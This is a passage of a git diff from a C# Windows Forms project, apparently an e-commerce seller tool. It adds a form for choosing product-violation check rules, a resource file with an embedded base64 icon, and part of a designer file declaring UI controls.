System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + public partial class UploadProductViolateSelectForm : LittleRabbit.LittleRabbitForms.BaseForms.LRBaseForm + { + public UploadProductViolateSelectForm() + { + InitializeComponent(); + } + + private void UploadProductViolateSelectForm_Load(object sender, EventArgs e) + { + Task.Run(() => + { + // 读取违规信息规则名称列表 + ViolateManageForm.GetAllViolateRuleName(); + // 显示违规信息规则名称列表 + ViolateManageForm.SetViolateSelectList(pnlViolateCheck); + }); + } + + private void btnAll_Click(object sender, EventArgs e) + { + foreach (Control c in pnlViolateCheck.Controls) + { + var chk = c as CheckBox; + if (chk != null) + { + chk.Checked = true; + ViolateManageForm.Cb_Click(chk, null); + } + } + } + + private void btnAllSerious_Click(object sender, EventArgs e) + { + foreach (Control c in pnlViolateCheck.Controls) + { + var chk = c as CheckBox; + if (chk != null) + { + if (chk.ForeColor == Color.FromArgb(240, 10, 0)) + { + chk.Checked = true; + } + else + { + chk.Checked = false; + } + ViolateManageForm.Cb_Click(chk, null); + } + } + } + + private void btnNone_Click(object sender, EventArgs e) + { + foreach (Control c in pnlViolateCheck.Controls) + { + var chk = c as CheckBox; + if (chk != null) + { + chk.Checked = false; + ViolateManageForm.Cb_Click(chk, null); + } + } + } + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/UploadProductViolateSelectForm.resx b/TEMUKJD/KJDForms/UploadForms/UploadProductViolateSelectForm.resx new file mode 100644 index 0000000..e330b8a --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/UploadProductViolateSelectForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQcgAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMd3d3d3d3d3 + d3d3fMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMd3d3iIiIiI + iIiIiIiIiIh3d3d8zMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMx3eIiIiI + iIiIiIiIiIiIiIiIiIiIiHd8zMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMd4iI + iIiIiIiIiIiIiIiIiIiIiIiIiIiIiHfMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzH + eIiIiIiIiIiHZmZmZmZmZmZmZ3eIiIiIiIiIiHzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzHiIiIiIiHZmZmZmZmZmZmZmZmZmZmZmZmeIiIiIiIfMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzHiIiIiIdmZmZmZgAAAAAAAAAAAAZmZmZmZmZmeIiIiIh8zMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzHiIiIiHZmZgAAAAAAAAAAAAEAAAAAAAAAAGZmZmZniIiIiHzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMeIiIiGZmAAAAAAERERmZmZmZmZmZkRERERAAAGZmZmZ4iIiIfMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMeIiIiGZgAAAAERmZmZmZmZmZmZmZmZmZmZmZkREAAGZmZniIiIfMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzIiIiHYAAAARGZmZiIiIj///////+IiIiIeZmZmZkREAZmZmiIiIfMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzO6IiIYAAAARmYiI/////////////////////4iHmZmZEQBmZmeI + iIh8zMzMzMzMzMzGAAAABMzMzMzMzMzMzMeIiIdgAAAZmI////////////////////////////iJmZmR + EGZmZ4iIh8zMzMzMzMzMzEAAAAbMzMzMzMzMzMzoiIhwAAAZeP////////////////////////////// + /4iZmZEAZmZ4iIh8zMzMzMzMzMxgAABMzMzMzMzMzMzOiIiGAAABiP////////////////////////// + ////////+JmZkQZmZ4iIh8zMzMzMzMzMxAAAbMzMzMzMzMzM7oiIYAABeP////////////////////// + ///////////////4mZkQZmZ4iIjMzMzMzMzMzMYAAMzMzMzMzMzMzu6IhwAAGP////////////////// + /////////////////////4iZmRZmZ4iIfMzMzMzMzMzMAAbMzMzMzMzMzM7oiHAAB4////////////// + ////////////////////////////iZmRBmZ4iIfMzMzMzMzMzGAGzMzMzMzMzMzuiIcAAHj///////// + //////////////////////////////////iZmRZmZ4iIzMzMzMzMzMxgDMzMzMzMzMzM7ohwAAf///// + ////////////////////////////////////////95mRZmaIiHzMzMzMzMzMwEzMzMzMzMzMzuiIEABo + //////////////////////////////////////////////95mRZmaIiMzMzMzMzMzMRszMzMzMzMzM7o + hwAGj///////////////////////////////////////////////95kQZmeIh8zMzMzMzMzGbMzMzMzM + zMzu6HEAB/////////////////////////////////////////////////+ZkQZmiIjMzMzMzMzMxmzM + zMzMzMzM7ohwAGj/////////////////////////////////////////////////iZkWZniIfMzMzMzM + zMZszMzMzMzMxu6HEAbv/4iI/////////////////////////////////////////4iP//iZEGZoiHzM + zMzMzMzGbMzMzMzMzM7uhxAGj/iIiIj//////////////////////////////////////4iIiI//mZFm + aIiMzMzMzMzMxszMzMzMzMzO6IEAbv+IiIiIj/////////////////////////////////////iIiIiP + /4mRBmeIh8zMzMzMzMbMzMzMzMzMbuhxAG7/iIiIiI////////////////iIj///j//////////////4 + iIiIiP/5mQZmiIfMzMzMzMzMzMzMzMzMzO7ocQDo+IiIiIiP///////////////u7u7u7u7o//////// + ////iIiIiIj/+JkWZoiHzMzMzMzMzMzMzMzMzMzu6BEG7/iIiIiIj/////////////+Hd3ju5maO7v// + /////////4iIiIiI//iZEGaIh8zMzMzMzMzMzMzMzMzM7ugRBu//iIiIiI//////////////kZmZdmAZ + mP/////////////4iIiIiP//mRBmeIjMzMzMzMzMzMzMzMzMzO7nEAbv/4iIiIiP////////////+HiI + mZEBd5n/////////////+IiIiIj//4mQZniIzMzMzMzMzMzMzMzMzMzu5xAO7//4iIiI//ju7o////// + //j//4mZeP/4//////////////iIiIiP//+JkGZ4iHzMzMzMzMzMzMzMzMzG7ocQDu///4iI//ju7u7u + j//////////4mP//////////////7u7uiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzu6HEG7v//////+G + ZmZ47u7//////////4//////////////7u7u7u6P/////4mQBmiIfMzMzMzMzMzMzMzMzM7uhRBu7/// + ///3AAAAF37u7///////////////////////h2AABm7u7v/////5kAZ4iHzMzMzMzMzMzMzMzMzO7oUQ + bu//////gQAAZgEG7u//////////////////////+BAAAAAFfu6P////+ZAGeIjMzMzMzMzMzMzMzMzM + zu6FEG7v////+JEAAXhwAG7o/////////////////////4gAABEGARbu7/////kQBoiIzMzMzMzMzMzM + zMzMzM7uhRBu7/////iZABmZkQBm6P////////////////////+JABGZF2AAbo////+JEGaIiMzMzMzM + zMzMzMzMzMzO7ucRbu/////4mRZ4iZkQBu//////////////////////mQB5mZdgAG7/////iRBmiIfM + zMzMzMzMzMzMzMzMxu7nEQ7v////+Bl+j/iZEAaP/////////////////////5l2/4mRAABu/////4kQ + ZoiHzMzMzMzMzMzMzMzMzMzu5xEO6P//+Phgbu/4kQAI//////////////////////+Zfo/4kQAAeIiP + //+JEGaIh8zMzMzMzMzMzMzMzMzM7ucRBu7///iOYHiI+HAAf///////////////////////mYjv+BAA + BuiIj///iQBniIfMzMzMzMzMzMzMzMzMzO7nEQbu///3EAAG6IcRF4iP/////////////////////4GP + /4cQAAZnbv///5EAaIiMzMzMzMzMzMzMzMzMzMzu5xEW7v//iRF3dmZgAXjmj/////////////////// + ///3ePiBEQAHdm7///iRAGiIfMzMzMzMzMzMzMzMzMzM7u5xFu6P/5EZmXZmZmbmaP////////////// + ///////4/4d2cRAAFwbuj//4kQZoiHzMzMzMzMzMzMzMzMzMzG7ucRDu7/iXiZkQAAZmAH////////// + ////////////+IiIdmYABmAX//j/+BAGeIh8zMzMzMzMzMzMzMzMzMzO7nEQbu/4iP+BERkREZf///// + //////////////////+JmXdxEBEAB3////kQBoiIzMzMzMzMzMzMzMzMzMzMzu5xEW7o+P//gZmZmZmP + ////////////////////////+JmZmZmZl453//+JAGaIh8zMzMzMzMzMzMzMzMzMzM7u5xEO7vj/+IeP + iIj////////////////////////////4iZmZmZiPiP//cQBoiIfMzMzMzMzMzMzMzMzMzMzM7ucRFu6P + //iP//////////////////////////////////////+Jn/j/+JAAaIiMzMzMzMzMzMzMzMzMzMzMzO7n + ERbu7//4/////////////////////////////////////////4j///gQBoiIfMzMzMzMzMzMzMzMzMzM + zMzu7nERbuj////////////////////////////////////////////4//+BAAaIiMzMzMzMzMzMzMzM + zMzMzMzMzu5xEW7u////////////////////////////////////////////////cQBoiIfMzMzMzMzM + zMzMzMzMzMzMzM7u5xEW7u//////////////////////////////////////////////+BAAaIiMzMzM + zMzMzMzMzMzMzMzMzMzO7uYREO7o//7v//////////////////////////////////////////cABoiI + fMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7oj/7o////////////////////////////////////////9x + AAeIiMzMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7nePju7u7v//////////////////////////////// + 6P/4EAB4iIfMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERBu7nmIiO7oj/////////////////////////// + ju7u7o//hwAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERbu7nmZl5eP////////////////////// + ///4iPiO5nj/+HAAaIiIzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7nERbu7oiZeI////////////////// + ////////+ImXd5mP/4cAAHiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERbu7v//////////////// + ///////////////4iZl4//hgAAeIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERBu7v////////// + //////////////////////////+GAAB4iI7MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7uiHEADujv//// + ///////////////////////////////3AAAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7ohwABmP + ////////////////////////////////////iREAZniIjMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzuiI + EAB4f///////////////////////////////////+JmZkWZoiIfMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zO6IhwBo//////////////////////////////////////iImZl2ZoiIzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzuiHAA7////////////////////////////////////////4iZFmZ4iHzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzO6IgQBo/////4j///////////////////////////////////mZFmaIiMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzuiHAA7/////iIiP//////7o//////////////////iI/////4mRZmeIh8zMzMzM + zMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiI/////+7u7u7uiIiI7u7v////iIiI/////5mRZmiIjM + zMzMzMzMzMzMzMzMzMzMzMzMzMzuiHAA7////4iIiIiIj//3d2bu7u7u7u7u7u7//4iIiIiP////+JkW + ZniIfMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI//+ZkAAGZmZmZmZmbv//iIiIiIiP// + //+ZkWZoiIzMzMzMzMzMzMzMzMzMzMzMzMzMzuiFAG7////4iIiIiIj///iZABEREREREBAG7//4iIiI + iIj/////iZFmaIiMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI///4kQARERERERERDo// + +IiIiIiIj/////mZBmeIh8zMzMzMzMzMzMzMzMzMzMzMzMzuiHAG7////4iIiIiIiP//+JFmeHd3d3dx + EW6P//iIiIiIiI/////4mRZmiIfMzMzMzMzMzMzMzMzMzMzMzMzO7ocQBo////+IiIiIiIj///iQZoiO + 7u7u5xFu7//4iIiIiIiI////+JkWZniIzMzMzMzMzMzMzMzMzMzMzMzMzuiHEA7////4iIiIiIiP///5 + kGaIju7u7ucRbu///4iIiIiIiP////95kGZ4iHzMzMzMzMzMzMzMzMzMzMzMzM7ogQBu////+IiIiIiI + j///+RBmiI7u7u7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzMzMzMzMzMzu6HEAaP////iI + iIiIiI////kQZoiHzMzu5xEO6P//iIiIiIiIj////4mRZmiIjMzMzMzMzMzMzMzMzMzMzMzM7ugRBu// + ///4iIiIiIj///+JEGaIh8zM7ucRBu7//4iIiIiIiI/////5kQZniIzMzMzMzMzMzMzMzMzMzMzMzO6I + EAbv////iIiIiIiI////iQBniIzMzO7oERbu///4iIiIiIiP////+JkGZ4iHzMzMzMzMzMzMzMzMzMzM + zMbuhxAGj////4iIiIiIj////3kAaIiMzMzu7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzM + zMzMzMzO7oUQbv////+IiIiIiI////+RBmiIfMzMzu5xFu6P//+IiIiIiIj////4mRZmiIfMzMzMzMzM + zMzMzMzMzMzMzu6BAG7////4iIiIiIj////4kQZoiHzMzM7ucRDu7///iIiIiIiIj////5kQZoiHzMzM + zMzMzMzMzMzMzMzMzM7ocQBu////+IiIiIiI////+JAGeIh8zMzO7nERbu///4iIiIiIiI////95EGaI + h8zMzMzMzMzMzMzMzMzMzMxu6HEA7v////iIiIiIiP////cQBoiIzMzMzu7lEW7v///4iIiIiIiP//// + iRBmeIjMzMzMzMzMzMzMzMzMzMzM7uhxBuj////4iIiIiI/////5EAaIiMzMzMbu5xEO7v//+IiIiIiI + j////4kQZniIzMzMzMzMzMzMzMzMzMzMzO7oEQbv////+IiIiIj/////iQBmiIfMzMzM7ucRBu7///iI + iIiIiIj///+JkGZ4iMzMzMzMzMzMzMzMzMzMzMzu6BEG7/////iIiIiI/////4EAaIiHzMzMzO7nERbu + j///iIiIiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzMzM7ucRBu/////4iIiIj/////+RAGiIjMzMzMzu + 7nEQ7u////iIiIiIiP///4mQBmiIfMzMzMzMzMzMzMzMzMzMzO7nEAbv////+IiIiP/////4EAZ4iHzM + zMzMzu5xEG7v///4iIiIiIj///+JkAZoiHzMzMzMzMzMxmzMzMzMzMzu5xAO7/////+IiI//////+RAG + iIjMzMzMzM7ucRFu7v///4iIiIiI////+ZAGaIh8zMzMzMzMzMZszMzMzMzG7ocQDu//////+I////// + /4EAZoiIzMzMzMzO7ucRBu7////4iIiIiP////mQBmiIfMzMzMzMzMzGbMzMzMzMzu6HEA7v//////// + //////9xAGiIh8zMzMzMzO7nERbu7///+IiIiI/////5kAZoiHzMzMzMzMzMxmzMzMzMzM7uhxAO7/// + ///////////4EABoiIzMzMzMzMzu7nEQbu////+IiIiP////+ZAGaIh8zMzMzMzMzMZszMzMzMzO7oUQ + Du//////////////9xAGiIh8zMzMzMzM7u5xEW7u/////4iI//////mQBmiIfMzMzMzMzMzGTMzMzMzM + zu6HEA7v/////////////4EABoiIzMzMzMzMzM7u5xEG7v/////////////5kAZoiHzMzMzMzMzMxAzM + zMzMzM7uhxEO7/////////////9wAGiIh8zMzMzMzMzO7ucRFu7v////////////+RAGeIh8zMzMzMzM + zMAGzMzMzMzO7ucRDuj////////////4EAB4iIzMzMzMzMzMzO7ucRBu6P///////////4kQBoiIzMzM + zMzMzMxgBszMzMzMxu7nEQbo////////////gQAGiIh8zMzMzMzMzMzu7nERDu7///////////+JEAaI + iMzMzMzMzMzMYADMzMzMzMzu5xEG7v///////////3EAZ4iIzMzMzMzMzMzMzu7nERbu7/////////// + gQBmiIfMzMzMzMzMzAAAbMzMzMzM7ucRBu7///////////gQAGiIh8zMzMzMzMzMzM7u5xEQbu7///// + /////5EAZ4iHzMzMzMzMzMYAAEzMzMzMzO7nERDu7/////////+HAAaIiIzMzMzMzMzMzMzM7u5xEQ7u + 7/////////gQAGiIjMzMzMzMzMzEAAAGzMzMzMzu7nEQbuj////////4cAAHiIh8zMzMzMzMzMzMzO7u + dxEW7uj////////3AAZoiHzMzMzMzMzMYAAABMzMzMzM7u5xEG7u////////hgAAeIiHzMzMzMzMzMzM + zMzO7ucREW7u7///////gQAGiIh8zMzMzMzMzEAAAABszMzMzM7ucREG7uj/////hmAAB4iI7MzMzMzM + zMzMzMzMzu7ucREG7u6P////+AAAB4iIzMzMzMzMzMYAAAAATMzMzMzO7ucREG7u7oiO7mAAAHiIiMzM + zMzMzMzMzMzMzMzu7ucREG7u7o//+HYAAHiIh8zMzMzMzMzEAAAAAAbMzMzMzu7nEREG7u7u5mAAAAeI + iIfMzMzMzMzMzMzMzMzMzu7ucREQbu7u7uYAAAeIiHzMzMzMzMzMYAAAAAAAbMzMzMzu7nEREAZmZgAA + AAF4iI58zMzMzMzMzMzMzMzMzMzu7ncREQZm7mZgAAB4iI7MzMzMzMzMxgAAAAAAAEzMzMzM7u7nEREQ + AAAAABF4iI7uzMzMzMzMzMzMzMzMzMzM7u7ucRERAAAAAAAHiIiMzMzMzMzMzMQAAAAAAAAGzMzMzM7u + 7nERERERERF3iIju7MzMzMzMzMzMzMzMzMzMzM7u7udREREQAAAReIiIfMzMzMzMzMxgAAAAAAAAAGzM + zMzM7u7udRERERV4iI7u7MzMzMzMzMzMzMzMzMzMzMzM7u7u5xEREREReIiO7MzMzMzMzMzGAAAAAAAA + AAAGzMzMzM7u7u53d3eIiO7u7szMzMzMzMzMzMzMzMzMzMzMzM7u7u7nd1F3eIiO7uzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzM7u7u7u7u7u7u7szMzMzMzMzMzMzMzMzMzMzMzMzMzu7u7u6IiI7u7uzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzu7u7u7u7u5szMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7u7u7u7u7u7MzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzG7u7u7ubMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7u7u7uzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzG7u + 7szMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/ViolateManageForm.Designer.cs b/TEMUKJD/KJDForms/UploadForms/ViolateManageForm.Designer.cs new file mode 100644 index 0000000..1630d4e --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/ViolateManageForm.Designer.cs @@ -0,0 +1,991 @@ +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + partial class ViolateManageForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle5 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle6 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle7 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle8 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle9 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.panelEx2 = new DevComponents.DotNetBar.PanelEx(); + this.btnImport = new DevComponents.DotNetBar.PanelEx(); + this.ucGroupBoxEx3 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.chkOperateOffSale = new System.Windows.Forms.CheckBox(); + this.chkOperateDataBase = new System.Windows.Forms.CheckBox(); + this.chkOperateOnSale = new System.Windows.Forms.CheckBox(); + this.btnStartTroubleShooting = new DevComponents.DotNetBar.PanelEx(); + this.btnStop = new DevComponents.DotNetBar.PanelEx(); + this.ucGroupBoxEx2 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.panel1 = new System.Windows.Forms.Panel(); + this.llClear = new LittleRabbit.UserComponent.LinkLabelLc(); + this.llSelectSerious = new LittleRabbit.UserComponent.LinkLabelLc(); + this.llSelectAllRule = new LittleRabbit.UserComponent.LinkLabelLc(); + this.flpViolate = new System.Windows.Forms.FlowLayoutPanel(); + this.ucGroupBoxEx1 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.btnRefreshShop = new LittleRabbit.UserControls.ButtonEx(); + this.splitContainer3 = new System.Windows.Forms.SplitContainer(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvShop = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colShopId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colAuthStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colMessage = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.panelEx1 = new DevComponents.DotNetBar.PanelEx(); + this.ucTabControl1 = new LittleRabbit.UserComponent.UcTabControl(); + this.tabPageCheckResult = new System.Windows.Forms.TabPage(); + this.dgvCheck = new LittleRabbit.UserComponent.DataGridViewEx(); + this.tabPageViolateFileList = new System.Windows.Forms.TabPage(); + 